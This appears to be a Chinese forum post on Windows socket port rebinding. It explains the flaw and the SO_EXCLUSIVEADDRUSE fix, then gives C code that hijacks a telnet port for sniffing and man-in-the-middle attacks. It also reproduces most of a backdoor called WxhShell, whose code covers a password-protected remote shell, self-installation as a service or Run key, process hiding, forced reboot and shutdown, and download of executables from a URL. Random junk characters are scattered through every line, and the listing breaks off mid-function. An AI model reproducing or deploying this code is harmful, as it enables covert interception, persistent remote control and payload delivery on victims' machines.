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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,iP YsW]5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ui#nN   
>L4F'#I  
  saddr.sin_family = AF_INET; r2.w4RMFua  
M`'DD-Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s<!G2~T  
fv8x7l7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $G"\@YC<  
(W:@v&p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $RYGAh  
}l$zZ>.\H  
  这意味着什么?意味着可以进行如下的攻击: r.#r!.6 q  
[y'blCb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N'EZJ oH  
U-1UWq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !fn%Q'S  
H<i!C|AF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !10/M  
OH2IO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PL$XXj>|:  
Evm3Sm!S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TA*}p=?6?!  
L$OZ]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zu @|"f^`  
W1"NKg~4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |f$+|9Q?  
U3:|!CC)T  
  #include i:jXh9+  
  #include dyn)KDS  
  #include iEtR<R>=  
  #include    |Vz)!M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &M?b 08  
  int main() mq4Zy3H   
  { 4_QfM}Fyp  
  WORD wVersionRequested; \D z? h  
  DWORD ret; Jaw1bUP!oK  
  WSADATA wsaData; us|Hb  
  BOOL val; hizM}d-"C  
  SOCKADDR_IN saddr; '1b8>L  
  SOCKADDR_IN scaddr; 0g: q%P0  
  int err; =bD.5,F)  
  SOCKET s; $)ka1L"N  
  SOCKET sc; AH'c:w]~  
  int caddsize; hv#$Zo<  
  HANDLE mt; u=qK_$d4  
  DWORD tid;   i,;eW&  
  wVersionRequested = MAKEWORD( 2, 2 ); eJ45:]_%I@  
  err = WSAStartup( wVersionRequested, &wsaData ); oc,I, v  
  if ( err != 0 ) { !^F_7u@Q  
  printf("error!WSAStartup failed!\n"); OV;VsF  
  return -1; "A Bt  
  } T_Tu>wQX  
  saddr.sin_family = AF_INET; !~?/D  
   "0PsCr}!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {u y^Bui}  
b?`2LAgn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #|je m   
  saddr.sin_port = htons(23); $6UU58>n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ; ,sNRES3  
  { m0^ "fMV  
  printf("error!socket failed!\n"); %(&ja_oO  
  return -1; 8~Zw"  
  } %JSRC<,a  
  val = TRUE; ["&{^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6:%lxG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &':C"_|&r  
  { 7:LEf"vRZ  
  printf("error!setsockopt failed!\n"); 9kWI2cLzQt  
  return -1; )N- '~<N  
  } 64U|]g d$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^ICSh8C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h&L-G j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )_C>hWvo_  
/hqn>t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z_bVCe{  
  { <h9nt4F  
  ret=GetLastError(); ba G_7>Q9H  
  printf("error!bind failed!\n"); .up[wt gN  
  return -1; U'F}k0h?\'  
  } Pi5MFw'v  
  listen(s,2); WynTU?  
  while(1) lbt8S.fx  
  { E-Xz  
  caddsize = sizeof(scaddr); qgl-,3GY%N  
  //接受连接请求 !4+Die X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {G vGV  
  if(sc!=INVALID_SOCKET) lq53 xT  
  { &D[M<7T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3YLfh`6  
  if(mt==NULL) hY{4_ie=8  
  { -E6av|c,F  
  printf("Thread Creat Failed!\n"); )!rD&l$tE  
  break; ?/MkH0[G=  
  } d m"R0>  
  } 3 xW:"  
  CloseHandle(mt); nHbi{,3  
  } Ih5Y7<8b~  
  closesocket(s); vjGJRk|XED  
  WSACleanup(); 2"a%%fv  
  return 0; *jc >?)k  
  }   w)S 4Xi=  
  DWORD WINAPI ClientThread(LPVOID lpParam) Lct_6?  
  { A3 TR'BFw-  
  SOCKET ss = (SOCKET)lpParam; 0B9FPpx?:  
  SOCKET sc; .4E24FB[f?  
  unsigned char buf[4096]; :9 (kU  
  SOCKADDR_IN saddr; 8iD7K@  
  long num; i03S9J  
  DWORD val; ul N1z  
  DWORD ret; 1&e8vVN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -eV*I >G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sdCG}..`  
  saddr.sin_family = AF_INET; r,IekFBs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q`J U[nY  
  saddr.sin_port = htons(23); c %Y *XJ'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @6DKw;Q  
  { |b='DJz2  
  printf("error!socket failed!\n"); bt1bTo  
  return -1; L=Aj+  
  } r*mYtS  
  val = 100; 2Q(ZW@0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :n~Mg{j3  
  { vxPr)"Vvz  
  ret = GetLastError(); tq}sedYhee  
  return -1; 6v:L8 t$"  
  } /o$6"~t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g$)0E<  
  { r`FTiPD.C  
  ret = GetLastError(); YSB> WBS-<  
  return -1; R$}Hv  
  } x%$6l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =HMCNl  
  { o\W>$$EXD  
  printf("error!socket connect failed!\n"); R3_;!/1  
  closesocket(sc); |]q{ qsy  
  closesocket(ss); V3*@n*"N;  
  return -1; LQ Ux}  
  } *j,noHUT~>  
  while(1) 7!`1K_v6  
  { %CQa8<q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gJwX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UjunIKX+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1n2Pr'|s  
  num = recv(ss,buf,4096,0); :SN?t  
  if(num>0) ixM#|Yq  
  send(sc,buf,num,0); h^IizrqU  
  else if(num==0) /;q 3Q#  
  break; m#Z9wf] F  
  num = recv(sc,buf,4096,0); $@{ d\@U  
  if(num>0) %y>*9$<pXe  
  send(ss,buf,num,0); <uoVGV5N  
  else if(num==0) 0.!vp?  
  break;  874j9ky[  
  } j";L{  
  closesocket(ss); e5FF'~A%]  
  closesocket(sc); s;Zi   
  return 0 ;  56C'<#  
  } _8`S&[E?  
&kWT<*;J)  
M9VAs~&S  
========================================================== OHngpe4  
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下边附上一个代码,,WXhSHELL HCktgL:E=  
0lqh;/  
========================================================== %ID48_>*  
's"aPqF?  
#include "stdafx.h" ed/ "O gA  
z:Ru`  
#include <stdio.h> '|tmmoY6a:  
#include <string.h> E7SmiD@)  
#include <windows.h> c2gZ<[~  
#include <winsock2.h> 8-L -W[  
#include <winsvc.h> !YM:?%B  
#include <urlmon.h> $G /p[JG6-  
L`w_Q2{sv  
#pragma comment (lib, "Ws2_32.lib") +WxD=|p;  
#pragma comment (lib, "urlmon.lib") ~WmA55  
(G>g0(;D-  
#define MAX_USER   100 // 最大客户端连接数 oC!z+<  
#define BUF_SOCK   200 // sock buffer wUS w 9xg  
#define KEY_BUFF   255 // 输入 buffer }&l%>P  
dZd]p8  
#define REBOOT     0   // 重启 >#;>6q9_  
#define SHUTDOWN   1   // 关机 ?%>S5,f_  
0w2<2grQ  
#define DEF_PORT   5000 // 监听端口 ,}^;q58  
|t58n{V.O  
#define REG_LEN     16   // 注册表键长度 ){tT B  
#define SVC_LEN     80   // NT服务名长度 0}>p)k3&A  
Jjx1`S*i  
// 从dll定义API #("E) P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5G#2#Al(F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~f8:sDJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P>] *pD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I<&) P#"  
y 5Kr<cF^  
// wxhshell配置信息 vF{{$)c  
struct WSCFG { K>2Bz&)  
  int ws_port;         // 监听端口 |)ALJJ=+  
  char ws_passstr[REG_LEN]; // 口令 ge&!GO  
  int ws_autoins;       // 安装标记, 1=yes 0=no v?q)E%5j  
  char ws_regname[REG_LEN]; // 注册表键名 p" Di;3!y!  
  char ws_svcname[REG_LEN]; // 服务名 .Jc<Gg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )c0Dofhg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 phcYQqR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {%Q+Pzl.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7a%)/ )<D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" / \k\HK8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u-wj\BU  
^K'XlM`a  
}; {k<mN Y  
l4E0/ F  
// default Wxhshell configuration q+ 9c81b  
struct WSCFG wscfg={DEF_PORT, io$fL_R=  
    "xuhuanlingzhe", X_wPuU%  
    1, =|3*Y0  
    "Wxhshell", >s ;dooZ  
    "Wxhshell", MB?762 Q  
            "WxhShell Service", $?|$uMIafp  
    "Wrsky Windows CmdShell Service", ekSSqj9";  
    "Please Input Your Password: ", p}a0z?  
  1, v==/tr)  
  "http://www.wrsky.com/wxhshell.exe", CDG,l7  
  "Wxhshell.exe" N MH'4R  
    }; y?xFF9W@H  
WP? AQD  
// 消息定义模块 1n>(CwLG"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^r 9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EUuk%<q7C(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C.=[K_  
char *msg_ws_ext="\n\rExit."; pb|,rLNZ  
char *msg_ws_end="\n\rQuit."; AKUmh  
char *msg_ws_boot="\n\rReboot..."; c"S{5xh0&  
char *msg_ws_poff="\n\rShutdown..."; ZcrFzi  
char *msg_ws_down="\n\rSave to "; 3m/XT"D  
`z6I][Uf  
char *msg_ws_err="\n\rErr!"; jtQ}  
char *msg_ws_ok="\n\rOK!"; ^qNr<Ye  
E Ks4N4k  
char ExeFile[MAX_PATH]; o+FDkqEN  
int nUser = 0; w@hbY:Z9z  
HANDLE handles[MAX_USER]; K\^S>dV  
int OsIsNt; .]K{8[:hq  
9 EV.![  
SERVICE_STATUS       serviceStatus; <2fgao&-n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oYrg;]H  
A0gRX]  
// 函数声明 )s>R~7  
int Install(void); *f3? 0w  
int Uninstall(void); 3 V0^v  
int DownloadFile(char *sURL, SOCKET wsh); :$&v4IW  
int Boot(int flag); c#`&uLp  
void HideProc(void); #-bz$w#*  
int GetOsVer(void); zIbrw9G  
int Wxhshell(SOCKET wsl); V%[34G  
void TalkWithClient(void *cs); !4(QeV-=  
int CmdShell(SOCKET sock); <,Pk  
int StartFromService(void); D[p`1$E-1v  
int StartWxhshell(LPSTR lpCmdLine); o%[swoM@  
Zd8`95  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u\o~'Jz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Z^q?~zC[  
e# z#bz2<  
// 数据结构和表定义 $'93:9tg  
SERVICE_TABLE_ENTRY DispatchTable[] = F0/!+ho  
{ T3h1eU  
{wscfg.ws_svcname, NTServiceMain}, *w[0uQL5Z  
{NULL, NULL} NbUbLzE  
}; 0K^?QM|S  
"g&hsp+i"A  
// 自我安装 ugS  
int Install(void) oR'u&\mB  
{ Jqz K5)  
  char svExeFile[MAX_PATH]; &ZI-#(P  
  HKEY key; J)P7QTC  
  strcpy(svExeFile,ExeFile); ;_p!20.(  
Nyl)B7/w  
// 如果是win9x系统,修改注册表设为自启动 X \qG WpN%  
if(!OsIsNt) {  a S ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WlmkM?@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I9*BT T]  
  RegCloseKey(key); DIx.a^LR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CO`?M,x>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l;}3J3/qq]  
  RegCloseKey(key); W}@IUCRs  
  return 0; q@vqhE4  
    } jR>`Xz  
  } -.l.@  
} Q2<v: *L  
else { %#C9E kr  
2BV]@]qB  
// 如果是NT以上系统,安装为系统服务 w$"^)E G,7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -lm)xpp1  
if (schSCManager!=0) $0|`h)&  
{ r0*Y~ KHw  
  SC_HANDLE schService = CreateService F(|XJN  
  ( H`1q8}m  
  schSCManager, /h9v'Y}c  
  wscfg.ws_svcname, 8 &3KVd`  
  wscfg.ws_svcdisp, m}6Jdt'|  
  SERVICE_ALL_ACCESS, t8M\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m~-O}i~)  
  SERVICE_AUTO_START, 1@n'6!]6O  
  SERVICE_ERROR_NORMAL, vQ,<Ke+d  
  svExeFile, &z@}9U*6b  
  NULL, Uo;a$sR  
  NULL, 934@Z(aUH  
  NULL, Zxh<pd25Y  
  NULL, P=l 7m*m  
  NULL k~)@D| ?  
  ); T"1=/r$Ft  
  if (schService!=0) #HZ W57"  
  { }m&\I  
  CloseServiceHandle(schService); [}yPy))A  
  CloseServiceHandle(schSCManager); & H8  %  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {.ypZ8JU  
  strcat(svExeFile,wscfg.ws_svcname); _=}.Sg5Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aW9\h_$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8:[ l1d86  
  RegCloseKey(key); #x`K4f)  
  return 0; H!'4A&  
    } F}=_"IkZ  
  } udmLHc  
  CloseServiceHandle(schSCManager); n|Ts:>`V  
} %xr'96d  
} _0UE*l$t  
=J|jCK[r  
return 1; ) ]DqK<-  
} \Foo:jON  
&2S-scP  
// 自我卸载 k(o(:-+x  
int Uninstall(void) 31UxYBY  
{ ?d+ri  
  HKEY key; 0!oqP1  
T}/|nOu 5  
if(!OsIsNt) { ;A4j_ 8\[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O p1TsRm5L  
  RegDeleteValue(key,wscfg.ws_regname); s\<UDW  
  RegCloseKey(key); RA?_j$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O(VWJ@EHn  
  RegDeleteValue(key,wscfg.ws_regname); :,fT^izew  
  RegCloseKey(key); =CO) Q2  
  return 0; B!&y>Z^$  
  } K1o>>388G  
} r+h%a~A#>  
} Xu E' %;:  
else { g9CedD%40  
C#e :_e]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QUaV;6 4  
if (schSCManager!=0) +~ Hb}0ry  
{ V^4v`}Wgx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  ;u [:J  
  if (schService!=0) #!E`%' s]  
  { q%QvBN  
  if(DeleteService(schService)!=0) { <-fvYer  
  CloseServiceHandle(schService); ^M%P43  
  CloseServiceHandle(schSCManager); (>E/C^Tc%  
  return 0; \o=9WKc  
  } L>mM6$l  
  CloseServiceHandle(schService); M$Bb,s  
  } A+GRTwj  
  CloseServiceHandle(schSCManager); 8)> T>-os  
} _|W&tB *  
} 8EMBqhl  
cJbv,RV<  
return 1; B9[vv;lzu  
} Ook\CK*nKe  
lNf);!}SM  
// 从指定url下载文件 }h1LH4  
int DownloadFile(char *sURL, SOCKET wsh) >2#<tH0  
{ Z,SV9 ~M  
  HRESULT hr; 4n@>gW  
char seps[]= "/"; j`q>YPp  
char *token; DU8\1(  
char *file; GF9[|). T  
char myURL[MAX_PATH]; \!30t1EZ  
char myFILE[MAX_PATH]; $]Ix(7@W  
tu"-]^  
strcpy(myURL,sURL); 1*G&ZI  
  token=strtok(myURL,seps); f0Q! lMv  
  while(token!=NULL) G_5{5Ar  
  { Y0kcxpK/  
    file=token; }!k?.(hpE  
  token=strtok(NULL,seps); 9H;Os:"\|  
  } }yn%_KQ0  
yUD@oOVC0  
GetCurrentDirectory(MAX_PATH,myFILE); JP0a Nu  
strcat(myFILE, "\\"); fa,:d8  
strcat(myFILE, file); qTRP2rH,L&  
  send(wsh,myFILE,strlen(myFILE),0); >yLDU_P)  
send(wsh,"...",3,0); 2bLc57j{`9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }~=<7|N.  
  if(hr==S_OK) @%2crJnkS  
return 0; F):kF_ho  
else =liyd74%`  
return 1; /m;Bwu  
A^+kA)8  
} -T1R}ew*t  
l3BN,HNv+  
// 系统电源模块 l3u+fE,;_  
int Boot(int flag) 568M4xzi  
{ XUh&an$  
  HANDLE hToken; ^H2TSaJ;  
  TOKEN_PRIVILEGES tkp; X]2Ib'(  
x 9\{a  
  if(OsIsNt) { Z:,\FB_U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m <z?6VC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ME]7e^  
    tkp.PrivilegeCount = 1; ^Ss <<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +PLJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mt0v (  
if(flag==REBOOT) { sx;/xIU|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2-qWR<E  
  return 0; )'g4Ty  
} PWvTC`?  
else { ~N| aCi-X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bA Yp }  
  return 0; NX(IX6^y  
} SeS ZMv  
  } *c/|/  
  else { %rnRy<9  
if(flag==REBOOT) { 9Z=hg[`]<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kSol%C  
  return 0; .,(x7?  
} .Wp(@l'Hd  
else { >wb*kyO7(#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _X<V` , p  
  return 0; Sh-B!  
} v,N!cp1  
} i@WO>+iB  
KYKF$@ <G  
return 1; 1 YtY=  
} &1=,?s]&  
SI%J+Y7  
// win9x进程隐藏模块 =? q&/ cru  
void HideProc(void) V_v+i c^  
{ >2}*L"YC  
0{o 8-#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X3gYe-2  
  if ( hKernel != NULL ) _uJ6Vy  
  { d@cyQFX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XM?c*,=fu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p((.(fx  
    FreeLibrary(hKernel); P??pWzb6HH  
  } ?H!&4o  
n Zx^ej\  
return; T?u*ey~Tv  
} /Z#AHfKF  
93w$ck},?G  
// 获取操作系统版本 e*Nm[*@UW  
int GetOsVer(void) ?&1%&?cg9  
{ 98<^!mwF  
  OSVERSIONINFO winfo; ji ,`?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >2mY%  
  GetVersionEx(&winfo); aOoWB^;6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [czWUD  
  return 1; \4 t;{_  
  else JL:B4 f%}B  
  return 0; yFFNzw{  
} T%}x%9VO7  
/dX,]OFm  
// 客户端句柄模块 Ja\B%f  
int Wxhshell(SOCKET wsl) .fhfO @  
{ +`m0i1uI3  
  SOCKET wsh; u |$GOSD  
  struct sockaddr_in client; !a'{gw  
  DWORD myID; \4*i;a.kU  
ke +\Z>BWN  
  while(nUser<MAX_USER) )In;nc  
{ .J5or  
  int nSize=sizeof(client); NH1|_2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n=!5ha%#N  
  if(wsh==INVALID_SOCKET) return 1; )s 1 Ei9J  
c1f`?i}.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uf[Gs/!NV  
if(handles[nUser]==0) Pc~)4>X<  
  closesocket(wsh); cetlr  
else }LZz"b<aw  
  nUser++; 0b,{4DOD  
  } {`L,F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +#'QP#  
Xd~lifF  
  return 0; 2b#> ~  
} ?* dfIc  
(%M:=zm  
// 关闭 socket 9 &Od7Cn  
void CloseIt(SOCKET wsh) .M\0+,%/  
{ *O Kve  
closesocket(wsh); = &U7:u  
nUser--; KiNluGNt  
ExitThread(0); &gm/@_  
} ~BI! l  
0j 'k%R[l  
// 客户端请求句柄 @|~D?&<\  
void TalkWithClient(void *cs) D4GXZX8 K  
{ FC8= ru  
SY2((!n._  
  SOCKET wsh=(SOCKET)cs; Dw2$#d  
  char pwd[SVC_LEN]; K9'AYFse  
  char cmd[KEY_BUFF]; KH1/B_.\V  
char chr[1]; TUO#6  
int i,j; 9n".Q-V;k  
;\+A6(GX{  
  while (nUser < MAX_USER) { aw0xi,Jz  
W&a<Q)o*I  
if(wscfg.ws_passstr) { ( e(<4-&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1FC 1*7A[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !1?Nc}T0Q&  
  //ZeroMemory(pwd,KEY_BUFF); .aR$ou,7  
      i=0; >E(IkpZ  
  while(i<SVC_LEN) { *W<g%j-a  
tZY(r {  
  // 设置超时 wsfn>w?!V  
  fd_set FdRead; q|ZQsFZ  
  struct timeval TimeOut; ^S`c-N  
  FD_ZERO(&FdRead); P}Ule|&LK  
  FD_SET(wsh,&FdRead); 5 %aT  
  TimeOut.tv_sec=8; $;+`sVG  
  TimeOut.tv_usec=0; o//PlG~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t) ~v5vr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [kq+a] q  
Rs%6O|u7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ag$UNV  
  pwd=chr[0]; $f<Rj/`&  
  if(chr[0]==0xd || chr[0]==0xa) { F%QVn .  
  pwd=0; Ndx  ]5  
  break; 4;d9bd)A  
  } .W%{j()op  
  i++; |"a%S,I'  
    } o %tvwv  
<El6?ml@  
  // 如果是非法用户,关闭 socket e c`3Qw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G@QZmuj&KH  
} |+i?FYA\  
)zVD!eG_9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tpi63<N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #fYz367>  
H\<C@OkJS}  
while(1) { ~3z10IG  
O-vvFl#4  
  ZeroMemory(cmd,KEY_BUFF); 5 lC"10  
GVp2| \-L  
      // 自动支持客户端 telnet标准   KArnNmJ9  
  j=0; eESJk 14  
  while(j<KEY_BUFF) { -3c?Yaf"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5fBW#6N/  
  cmd[j]=chr[0]; 2 }Q)&;u  
  if(chr[0]==0xa || chr[0]==0xd) { PRCr7f  
  cmd[j]=0; {N$G|bm]u<  
  break; rm4j8~Ef  
  } 8ESBui3;  
  j++; R('44v5JQp  
    }  B9^@]  
C@L:m1fz  
  // 下载文件  _D(F[p|  
  if(strstr(cmd,"http://")) { ( UV8M\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E-i rB/0  
  if(DownloadFile(cmd,wsh)) @&2bLJJ+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j=d@Ih*  
  else ZuF-$]oL&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q$s0zqV5  
  } U:xr['  
  else { DP*[t8  
8\t~ *@"  
    switch(cmd[0]) { mY3x (#I  
  nQvv'%v0   
  // 帮助 Z %MP:@z  
  case '?': { qgU$0enSs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4>>d "<}C  
    break; pXCmyLQ  
  } ?!~CX`eMZ  
  // 安装 a3037~X  
  case 'i': { [HK[{M =v=  
    if(Install()) [*#ms=Zdc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBT|Q@Y.  
    else y#^d8 }+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qI"@ PI!s  
    break; HkEfBQmh  
    } Qg9 N?e{z  
  // 卸载 <`a!%_LC [  
  case 'r': { Bi)1*  
    if(Uninstall()) Fmk, "qs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ T.c>13  
    else V\WqA8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6<R!`N 6  
    break; ]7-*1kL8=~  
    } Dw?nf  
  // 显示 wxhshell 所在路径 3xh~xE  
  case 'p': { SV}I+O_w  
    char svExeFile[MAX_PATH]; J(VJMS;_  
    strcpy(svExeFile,"\n\r"); .T/\5_Bx  
      strcat(svExeFile,ExeFile); s 7iguFQ  
        send(wsh,svExeFile,strlen(svExeFile),0); INE8@}e  
    break; +hRAU@RA  
    } *obBo6!zM  
  // 重启 gyJ$ Jp  
  case 'b': { <MI>>$seiJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \L(~50{(  
    if(Boot(REBOOT)) pog*}@ OS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7g cr$&+e  
    else { JV Fn=Mw  
    closesocket(wsh); _1 f!9ghT\  
    ExitThread(0); \SS1-UbL  
    } ?A;x%8}  
    break; U`D/~KJ{Y  
    } &%}6&PW i  
  // 关机 (u+3{Eb  
  case 'd': { KQj5o>} 6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r:2G11[  
    if(Boot(SHUTDOWN)) g>A*kY  
